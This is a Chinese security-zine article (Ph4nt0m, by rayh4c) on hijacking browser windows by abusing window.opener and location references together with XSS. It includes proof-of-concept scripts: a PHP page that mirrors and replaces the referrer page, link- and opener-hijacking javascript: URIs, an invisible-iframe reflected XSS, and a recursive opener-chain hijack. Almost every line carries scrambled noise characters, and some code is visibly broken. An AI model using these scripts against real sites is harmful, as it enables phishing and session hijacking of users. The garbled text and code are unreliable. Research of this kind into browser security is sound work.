==Ph4nt0m Security Team==: F% Q a3 ~, h* O% N- B* z, r0 r
$ b( E. v- D, B7 | J6 x
Issue 0x03, Phile #0x05 of 0x07
3 X7 r+ d. H I/ D2 D 9 Y. K" b4 c6 C$ R
4 B6 c C8 f) C5 w+ ~|=---------------------------------------------------------------------------=|
7 V" X8 x% w- u' J|=---------------=[ 利用窗口引用漏洞和XSS漏洞实现浏览器劫持 ]=---------------=|
& p7 H8 p/ K% F|=---------------------------------------------------------------------------=|
9 v+ q9 U+ d7 h: o0 @|=---------------------------------------------------------------------------=|
" L0 ~3 V3 B$ _& [9 U8 t4 ]4 a9 \|=------------------------=[ By rayh4c ]=---------------------------=|
) q& N1 m( ~6 I" @. _|=----------------------=[ <rayh4c#80sec.com> ]=------------------------=|
; T$ H/ h* h5 f+ h1 ||=---------------------------------------------------------------------------=|2 H' u, l! F( j% ?; p
) |# ] P2 b% c1 Q' }2 |/ u4 x8 m$ |8 L' t g7 Y
[目录]
# ~/ l& K( t" g1 [7 h/ I ]
! n5 z3 }- {: e7 t1. 前言
# T8 S; r% h! l. z2. 同源策略简叙9 C/ c+ G+ C3 ^
3. 理解window对象的同源策略
2 v7 ]2 a& S" i* G" B4. 窗口引用功能中的同源策略漏洞
1 ]: P. C; K9 S+ U6 K& t 4.1 父窗口引用子窗口的同源策略问题
1 V0 r m7 G+ ?" G* F8 W1 C# ~! v2 U 4.2 子窗口引用父窗口的同源策略问题0 W9 y; Y& h& x" R, w q
5. 利用窗口引用漏洞劫持浏览器( j) |3 @2 H/ U+ n" U8 P
6. 利用XSS漏洞劫持浏览器( ~- ]) o1 H- x2 h
6.1 正向跨窗口劫持
+ C- F; g' t S/ e4 ~9 o: v' A 6.2 反向跨窗口劫持3 o, V) ^2 E/ X9 I$ m Z7 `; D
6.3 极度危险的跨框架窗口引用劫持
# j3 |+ ]4 {# i 6.4 极度危险的正反向跨窗口递归劫持: e2 d7 y' H5 I3 k
6.5 完全控制浏览器4 r; g" \2 W0 Q$ r, X* B0 |
7. 后记- z% q8 f- k+ L, d) G& L
8. 参考
3 z- }) z+ D0 [4 E5 b1 L/ e8 j5 D, e% t8 J0 s6 |. s4 V+ R( k& _
- y8 u: n, u1 Y5 k, a0 ^8 ^8 g
一、前言
5 @2 s4 Q- S2 {2 j' I) r/ h2 h- g; h) ]
最近国内关于XSS漏洞的技术文档都比较少,所以决定写这篇文档,其中的很多细节和朋
9 A! |& D$ H+ l1 t% H1 \友们都沟通讨论很久了,其中包括了我对浏览器同源策略和XSS的一些理解。XSS漏洞从Session1 m" r7 e* v4 b( z3 W3 w
劫持、钓鱼、XSS WORM等主流攻击方式发展到现在,告诉了大家一个真正的跨站师是不会被
" B: E2 E, a6 z, M+ _' T X条条框框所束缚,跨站师们在不断的创新,跨站师们会展示XSS漏洞的所有可能。
9 O+ z6 J6 D1 S. i' N4 ]
( U# l. s: ^6 z
6 k" L8 q; n5 s5 ~4 A8 n二、同源策略简叙6 ]+ ?$ Q t l/ g
; h) G/ R/ T1 R& O/ j; x( G& h 同源策略是浏览器的安全基础,它是浏览器支持的客户端脚本的重要安全标准,我们可以$ ?& \/ }" F) n9 O& _& U. @( J
从“源”上了解这一安全标准,按照W3C的标准这个“源”包括域名、协议和端口,各大浏览器都
! K' @" \2 j# t% N. }# J曾爆出过很多同源策略漏洞,危害程度各有不同,比如从06年开始流行至今的MS06-014网页木
: @/ X) b7 r% G& l; T& P* O马漏洞都已经完全颠覆了同源策略。这次的文档主要说的是DOM的同源策略(参考2)中的一个
; c. v( ^ A9 N) w漏洞,然后从漏洞引申到XSS漏洞如何利用DOM的同源策略特性,最终实现浏览器劫持。
" `% ?; [' U( B! z( j" z8 e7 A; g+ A8 `
1 A" Y1 n$ E% I7 N4 d, M$ r& g三、理解window对象的同源策略& j. e' @$ D3 ~& h8 U8 g/ ~
5 r# z' Y. _' L5 k7 Y8 q6 Y" z/ s% Y
窗口即指的是浏览器窗口,每个浏览器窗口都可以使用window对象实例来表示,window对, j ]$ }/ d" ]: A, y3 y9 @0 k
象有很多属性和方法,写一个简单的脚本可以历遍出window对象的所有属性和方法:9 @2 }+ p/ V" H5 k W: o
j0 d# `& F9 p$ C4 O2 J6 E7 |--code-------------------------------------------------------------------------6 e, f: g2 ^9 ^$ V! o1 y" f
<script language="javascript">
: ]0 I$ O; k8 Q; u8 N* gfor(p in window) document.write(p+"<br>");! ?6 E1 `5 E! ]
</script>$ S: X) m; Y0 D9 }; N. n |8 z/ f
-------------------------------------------------------------------------------
! {' g8 d7 I0 @# V, T1 A S. }1 w, @, V2 `! `
这些window对象的属性和方法可以改变窗口的外观和窗口网页的内容,当这些属性和方1 B* p( A4 A( S3 F# X8 U
法只在一个窗口中使用并不会凸显出安全问题,但是当多个window对象开始互相引用的时候,! T& f E O1 B# a
这些属性和方法就必须遵循同源策略。
5 H4 a5 g ^( F" P# s( ~' |0 W! m# P/ y1 V- m( E4 \$ q% [" o
举一个简单的例子,如果在a.com的网页可以调用b.com网页window对象的属性和方法,那
) u. k5 W. M; P7 J% u+ T么跨站师就可以随便XSS互联网上任何一个网站了,所以为了避免安全问题,同源策略是必须8 y7 z" s, N' f% q4 d, S
的。我们可以把下面的脚本保存为demo.html到本地打开或者丢到远程服务器上进行测试,这( B* ^" W! n/ h; ?/ E4 n0 }
个脚本的效果是调用不同源的子窗口window对象的属性和方法,我们会发现location属性的
' h$ ^( [0 T1 M+ c- d: S值类型是空白的,这种情况太特殊了,说明不同源的父窗口引用子窗口window对象的location
* e `% |+ }; g4 T属性并没有被拒绝访问。
P& S- C6 l, Z' |
p# B- f5 _ \( ?7 d--demo.html--------------------------------------------------------------------/ Q9 Q5 g! O& K7 v c- P8 o
<script language="javascript"> . ~# J( A# z. P0 X# [' v% t
function allPrpos(obj) { % c6 o7 X, w# I/ E3 s, R
var props = "<table><tr><td>名称</td><td>值</td>"; : Q1 j0 W }8 X) D+ |1 Z/ ?% H
for(var p in obj){
. x, n9 \# s" \* y: r! F" Q# ^ if(typeof(obj[p])=="function"){
' s& _. i% k2 o/ }6 a obj[p]();
# W" e0 e& S. k& f. e0 k% F }else{
3 c. w0 K; E5 s$ f try . ?# A) ?' M4 a: q& v- x. K* i
{ + D7 t R9 X$ A: L1 a) @6 Y
props+="<tr><td>"+p + "</td><td>" + obj[ p ] + "</td></tr>";
5 E- Q. ^3 M' H7 L) h5 R) _ }
5 _; I: c: X2 W3 }' G catch (ex) + T d7 P8 X" J9 J1 t" L
{
( P7 Z5 o* d4 B) @
$ H0 b4 `$ o7 H6 @ props+= "<tr><td>"+p + "</td><td>" +ex.message+"</td></tr>"; 4 w1 J8 {2 W- h
}
6 M( s& d- U) @, b. D' A
0 L! g4 x4 R) R/ j! ~% g/ W } ) E Q& y2 T# w& @' }( h, e, i2 u
} : y( ^$ M* R: @# u3 `9 X, [$ l% P3 l
$ H8 L/ H0 i- j+ R, m
document.write(props+"</table>");
/ n0 m K5 Y- {7 S}
; e5 G7 P/ v4 i7 [9 h7 z & B; [4 d. E" I+ P
function createWin() {4 @8 x, A$ r6 x8 l
newWin = window.open ("http://www.google.com"); 3 r. Y0 q- b" A2 D& ]0 j5 K
setTimeout(function(){allPrpos(newWin)},2000); % z) d) A1 D" y! |( J7 `* R- L
} 3 ?0 Z/ ~. ]- @% ]+ n
0 _3 c2 f5 N/ L
</script>
Q/ X% a/ m( b) H1 |
+ ~' Q. E2 ? q2 j0 K) K8 o: u% J<button onclick='createWin()'>创建一个非同源子窗口测试</button>
& _5 A4 c! Z/ {; U' j-------------------------------------------------------------------------------
+ l8 W. I6 e. Y: @+ k6 r" Z2 }. m" v' z
0 l* I0 k: R, R. B& d4 J9 r! i四、窗口引用功能中的同源策略漏洞
0 k4 k& Z6 w# P. d3 [" Z& x# I4 ^6 B
4.1 父窗口引用子窗口的同源策略问题3 R7 R' J+ {+ u. l# g) J$ V% ?: p; e
! D$ A& x, H% Q& F 去年我在幻影杂志发过的IE6跨域脚本漏洞,这个问题微软已经发布了ms08-058补丁修复,
: T7 u+ A7 f5 r% @0 a% i" K) @但这个漏洞仍然暴露了父窗口引用子窗口的同源策略问题。根据第二部分的测试,我们知道
' P! f+ l. O* u( K) U2 d浏览器并没有阻止父窗口访问非同源子窗口的location属性值,我们可以使用下面的脚本进
- l; ~, J- K. b行测试,会发现父窗口可以控制非同源子窗口location属性值。( l; a6 {" U3 x% b
_2 D+ O' ~5 o1 M% @5 X) s--vul1.html--------------------------------------------------------------------. h) c: e6 o: C- _7 f$ z R! O; f
<script language="javascript">
/ V8 q& j3 x( M/ P4 r( n1 Dfunction createWin() { & T: _! w) w8 f8 D" v
newWin = window.open ("http://www.google.com");
5 a' p; P9 ]2 C* `. i& c. X setTimeout(function(){newWin.location="http://www.80sec.com"},2000);
" I; U% d5 B, ?( I3 K3 a} 7 B3 |" m' r( F# ^8 s2 G# F0 l
</script>
h0 _* Z8 |3 u
- G( |0 R: v. _( Y<button onclick='createWin()'>创建一个非同源子窗口测试</button>+ z1 W0 ~% o# F& G9 a i
-------------------------------------------------------------------------------" b7 _5 a2 J/ m8 I% j
6 s, G% p5 ?& G; k2 g) T; g d: C6 T; x$ y. X2 ?2 _
4.2 子窗口引用父窗口的同源策略问题
, w: A$ L$ W8 K& b. @% i
+ e% W8 f$ ^! a* P 逆向测试一次会发现子窗口引用父窗口也存在同样的问题,这里为了更方便和直观我使
) d$ L/ ]1 }' e* t1 q用javascript伪协议进行验证。子窗口引用父窗口的window对象属性是window.opener,我们" m5 X% _& p9 k& g+ [ N6 |% Y6 \
可以随意浏览一个网站点击链接打开N个网页,在这些网页的地址栏注入下面的脚本,你一定
# M" V+ k$ o# S( g4 `+ c+ W会惊奇的发现,不管同源还是非同源的父窗口都转跳到了80SEC网站。7 m% @7 c% d! x. B5 q, E
+ x) ~0 _9 K" w* w3 e
--code------------------------------------------------------------------------- E3 H; W+ m3 C6 ~, \. E/ b
4 k/ g, g3 `0 n! ?; A+ ~+ I& wjavascript:window.opener.location = "http://www.80sec.com";void(0);2 A. u* W. e7 S$ c/ l/ D/ U. I
) H V, n" j5 B8 t
-------------------------------------------------------------------------------
. D5 f* k# q( K3 U7 k4 |2 o" g6 w+ l' b, u3 y. D# Q7 y1 ~+ }1 Z
5 [1 ~; D6 a& @, [, d
五、利用窗口引用漏洞劫持浏览器0 z% k* ~/ _( B$ r" ^
, ~* v1 m: q$ p
经过上面三个枯燥的测试,我们已经暴露了浏览器一个非常严重的安全问题,非同源的子
( ]/ l8 O# `! n, W M2 Y- _窗口和父窗口可以互相引用控制window对象的location属性值,并没有严格遵循同源策略,那
2 P% p- s* @$ m' [么用户在浏览器中的所有点击行为都有可能被跨站师变相控制。, W7 f1 S( {2 c, x3 f n, z
! I& o3 T& a2 K8 D1 _( K1 U' R4 O4 z 我们打开浏览器访问互联网上的各个网站,无时无刻不在点击链接,我们点击链接想要产, R! E) v! z z
生的结果是去访问我们想要去的URL地址,用户的正常点击只会产生两个结果,打开新窗口或
) @) p# c* ^! f3 b# o者当前窗口转跳,试想一下你在SNS网站、电子商务网站、BLOG、论坛里点击一个正常的链接
6 a1 Q* ?3 k3 w后,打开了一个“无害”的网页,原本浏览的信任网页却已经被悄悄替换了,大家可以联想一下0 A. g* {6 o+ [. J# b* |% V, \
会产生什么可怕的后果。
* _' A6 U9 l! O7 Q) M c9 Y
Z2 m- A! N+ O 下面我写了一个劫持浏览器的小Demo,思路是获取REFERER后生成镜像页面,同时加入我4 I* B: D4 z) v& q: J' `- |! ?
们的劫持脚本。比如把这个hjk_ref.php丢到本地服务器上测试,将http://127.0.0.1/hjk_ref.php
) B1 S4 p9 h( l这样的链接发到任意一个网站上,点击链接打开新窗口,当所有的注意力都停滞在新窗口的时+ c' x; Q. y- ?- m, k. v
候,3秒后一个镜像页面将会悄悄替换链接所在页。按照类似的思路,发挥跨站师的想象力,可, F8 o# ]6 Z/ u5 J
以做更多的事情,所有的一切仅仅是因为点击了一个链接。
1 @) @$ y1 H7 `( J$ P' x' |
5 x6 Y$ [" Z' w2 j--hjk_ref.php------------------------------------------------------------------
1 T4 m; f4 y1 Y2 x+ P<?php# `: q7 R; ], A' y6 k
if (array_key_exists("HTTP_REFERER", $_SERVER)) {# ]3 m u G( o
$Url_Mirror = $_SERVER["HTTP_REFERER"];
& z$ d$ E- a7 ?! q6 P}
; X( b! x! Z* _/ M& Lif(isset ($_GET['ref'])) {1 E! Q$ |* R- W9 u! C$ M
echo file_get_contents($_GET['ref']) . '<script>alert(\'I had been hijacking your browser!\')</script>';6 P7 X* M4 q4 n+ `- I
}/ W0 M T9 A2 j6 y! V- [( H" ~
?>; [! R9 v }! ^% U
" J7 I- N" _& o( j( t# Z
<script language="javascript">: w) f! O$ Q' f+ w
setTimeout(function(){window.opener.location=window.location+"?ref=<?echo $Url_Mirror;?>"},3000); 1 o/ @3 g: i, p n5 v% N; v
</script>! k. Q4 V5 P; D" ?3 z
-------------------------------------------------------------------------------
' D7 D1 f4 C9 K0 s% _
& H$ G6 F# V4 t 注:各大主流浏览器仅opera和internet explorer 8不存在窗口引用漏洞。& t$ l7 u! a+ _5 Y2 T
8 v: i# R- ~: t; ?$ Z# H
, L7 N1 D. D( j6 Y; V六、利用XSS漏洞劫持浏览器
. Q( [ O6 e3 E/ D9 W% E. A) t
! e2 L! c7 K( e8 z8 }9 `! U 延续第四部分的思路,这部分将进入本文的一个重要环节.跨站师们都知道XSS漏洞分为$ b3 [ R2 Y4 @, Y
持久和非持久两种,这两种类型的漏洞无论怎么利用都无法跳出窗口的生命周期,窗口关闭后1 x8 }2 g( l6 z
XSS漏洞的效果也就完全消失,窗口的限制一直束缚着跨站师们的发挥,我这里将和大家一起# y9 H" d5 {. w5 R, G% M& ^9 ?8 E/ a
讨论跨站师的终极技巧:# H' d7 g, I/ m$ L# S& H( [
) c8 Q! h( n# }( ?: w* m3 |
* o- a& u- v9 P; t1 G6.1 正向跨窗口劫持
* t0 K; d2 G9 g, T% g3 M$ q! p! \5 O+ A6 ]' ~1 @$ T- W
大家可以先试验下hijack_open.js这个脚本,比如打开http://bbs.dvbbs.net/动网论坛" C$ {! V s* y/ ~7 N; a9 b
主页,我们在地址栏里复制下面的代码使用伪协议注入hijack_open脚本,然后整个页面的链
- K4 f$ p: K: l+ c" A接就都被劫持住了,点击论坛里的任意一个链接,打开的新窗口都会被注入了一个alert对话: Y9 A! M/ G6 E# I% ~
框脚本。
' P' k. d: w& v: n: g) _3 w0 |. t$ w) d0 E, B
--hijack_open.js---------------------------------------------------------------& u+ j7 t$ }7 g0 c
- z# b. U% u) S: y1 k& a6 I3 J+ |
javascript:for(i=0;i<document.links.length;i++){document.links.onclick=function(){x=window.open(this.href);setTimeout(function(){try{x.location="javascript:alert('I had been hijacking your browser!')"}catch(e){};return false;},3000);return false;}};void(0);6 r8 X, W9 t$ }, h _& O
6 A" z; H G0 Z% b5 `' E9 V* y
-------------------------------------------------------------------------------. i" }- t; ^7 X* E
& j% l% I# V6 @; v; M+ c
5 B. n: u/ U* f
6.2 反向跨窗口劫持
7 f1 F Y! L+ I" f% \# Y8 X# O
+ s- m, |6 O9 K! a: q. ~$ Z 同样我们也可以在动网论坛试验,新打开任意一个版块的窗口,在地址栏里复制下面的代: t, H; ]) Q$ ~3 R4 b" d
码使用伪协议注入hijack_opener脚本,我们会发现原来的页面被反向注入了一个alert对话! O, p! r4 A4 r+ i
框脚本。
/ ?$ ]3 k/ z P) Y1 V# M/ w8 B+ H# e P+ f8 ^- y; k
--hijack_opener.js-------------------------------------------------------------1 \! a+ O0 H3 R `" o2 |* J
: N/ _5 L% h( b, \) gjavascript:window.opener.location="javascript:alert('I had been hijacking your browser!')";void(0);; n: s( f5 S- t
) ^) K- _$ S8 ~/ {8 \ g; P-------------------------------------------------------------------------------8 k( m' H5 t1 y, w5 c- U# p
. u4 e. X+ }, S- \8 B9 Y9 k4 ]
& t3 A$ r0 d# z0 v) t% j% F6.3 极度危险的跨框架窗口引用劫持( g/ C. b2 _( }5 ~) o# a; I! ~
! G3 O R; U% h: t2 l 非持久型XSS漏洞是在URL参数中注入脚本,一度被认为很鸡肋,一个非持久型的XSS漏洞
; z# V" X$ Y( Q: ]4 q" T \7 N可能出现URL参数过于冗长等缺点,下面这个window.parent.opener的跨框架窗口引用技巧就+ |9 G7 V. h$ ~% }% _7 k% C
适用于所有的非持久型XSS漏洞,我们可以在一个被攻击者的信任网站上的网页里iframe一个7 c! p, L$ X* o- ?
非持久型的XSS,如下:
m8 M+ n9 b( m. d5 u& Q
/ j' z- r8 O5 S0 Z" u4 W4 I<iframe src='http://www.target.com/index.php?vul=xss'width='0' height='0'>% W& J5 N: f7 G. Y, H; G
# k0 i# N8 t- O5 j$ D U
在vul参数中写入下面的hijack_frame_opener脚本,跨站师就可以反向跨框架引用窗口' G: p- e9 [3 \
注入脚本。
0 K% g1 ?/ A+ k. l2 _! l2 t* J0 r6 s2 S/ N4 |3 F0 ~
--hijack_frame_opener.js-------------------------------------------------------9 T: }" ~/ h. U1 t/ D
<script>* K$ z6 o" _$ p$ t% m$ c3 ^ J- _4 B
window.parent.opener.location="javascript:alert('I had been hijacking your browser!')";3 g6 O K0 a1 ], D1 c4 e
</script>% p1 ?. {, c) s2 v) d- F2 J
-------------------------------------------------------------------------------
6 J7 ?) Y" Y" a% i% t% P# e6 `7 P. A* W' Y x* h9 }) W
/ U8 a4 T, o6 N/ w7 j6.4 极度危险的正反向跨窗口递归劫持
0 W/ \5 Z) L& @/ [" T7 S+ }- } @# x4 a* [' ~- L1 l9 _
luoluo建议我加上了这一部分,窗口之间的引用关系可能是复杂的,我们可以通过window
0 n9 ^, Q4 A% y0 x) o的opener属性链反向递归查找窗口注入XSS脚本,将互相引用过的同域窗口全部劫持,并通过
8 m. w4 ^! H2 Z* c# Y, N( C" ]异常处理规避之间跨域页面的访问异常,代码如下:' Q! I! P) r% D2 E& l0 K, T* M
6 v0 y: @' V9 ^0 T1 a* V7 j--code-------------------------------------------------------------------------
2 ?! y( U6 T! c# @, N$ {! N9 L3 ` v ~/ a
javascript function(){var w=window;while(w.opener){w=w.opener;try{w.location="javascript:alert('I had been hijacking your browser!');void(1);";}catch(e){}}})();void(0);
% G: D; s, r* d6 d5 w! p# k
) k6 V$ i' a7 C3 I: g* {- t- R s& E. ^9 J-------------------------------------------------------------------------------
+ y, C3 K: E7 ?5 s4 X, m' i* _1 L
假设页面打开序列有A域->B域->A域的情况,通过对第二个A域页面的反向递归劫持则可
9 ]) ]4 j' i m以劫持B域之前的A域页面,从而实现“隔空打击”。5 W7 I- r* s" R! ~- G
$ Z1 B7 E. i8 c5 N+ _ 同理,正向跨窗口劫持也可以实现递归劫持所有同域的链接,对每个打开的被劫持的页面
( J% _7 Y3 ]7 t1 [/ B* j执行和第一个页面一样的劫持脚本,但是正向递归没法实现反向递归的那种“隔空打击”。( e- T8 M8 |' L; G* Q
6 U. ~2 o8 K. y6 n9 m- I
结合正向和反向的链式递归劫持,最终我们可以劫持所有的同域页面。
. S$ B, S' H1 b( o W% o6 f
$ A0 Y- C9 U" M5 T5 A ?+ w
/ q, ]6 R* ]8 z" G. w6.5 完全控制浏览器; R- Q4 p2 c( \$ A; ?
& d7 v2 I2 N6 ]2 t1 b 一个跨站脚本漏洞的真正意义在程序员的角度是输入和输出问题,而在跨站师的角度则
* h+ M* A1 S8 I是能够进入同源策略了,可以摆脱同源策略的束缚做任何想做的事情。跨站师们可以利用XSS
% E [1 N/ W, t5 W. q漏洞在同源策略允许的范围内再跨页面注入脚本,可以不再为窗口关闭后XSS漏洞的效果消失, d y5 P1 H0 L3 P4 d. R5 u9 R
而烦恼,劫持窗口后的跨站师们可以任意发挥,劫持表单,劫持请求,劫持输入等等,我就不再
u! [* O1 B/ Z9 w. `列举实例。无论是持久型还是非持久型的XSS漏洞都是能够发挥最大的威力的,最后实现跨站
( V) @& d: k2 W) H0 `, J, P& j师的终极目标 - 完全控制浏览器。
& ]- m7 @. `6 ^/ l H7 Z( a# T7 ?
d( w7 k. @' l* y% s2 U. c* h/ @+ i* Z# p- ~
七、后记9 h# a8 ~7 H; L6 T. L1 f
6 d5 x- u. }2 s' {. d/ t8 J& o
文章涉及的安全技术全部都是纯研究性质,请不要将这些技术使用在非法途径上。安全
: C9 x3 V; m' H) m9 n' O/ T与应用永远是一个矛盾体,通往安全的路永远不止一条。感谢对这篇文档的思路和技术给予
( T9 p/ p9 e) ^过帮助的luoluo、cnqing、linx以及80Sec团队的所有成员。5 x. J: w0 v5 l( V, t
( F5 Q' b6 h9 b: h0 M7 B
" A' P e W5 S' H2 L7 z, x八、参考
5 s |8 @/ }/ @& U: A+ H) p+ R3 C3 O" E7 N _+ }1 k
1. http://en.wikipedia.org/wiki/Same_origin_policy( d& I5 |* h3 T; I1 ?
2. http://code.google.com/p/browser ... licy_for_DOM_access. g: T# k$ h& t* l: R# N. w H2 \' k
3. http://www.w3.org/TR/Window/
- f- |) @6 e2 ?, O3 \4. http://www.80sec.com/release/browser-hijacking.txt
' k% a) `7 k2 q4 T5 _& k, K5. http://www.80sec.com/all-browser-security-alert.html' P8 V& e, k W4 p
6. http://www.80sec.com/ms08-058-attacks-google.html
% O9 U0 K) r, B! D: U
9 H! N7 U5 m$ d* n-EOF- |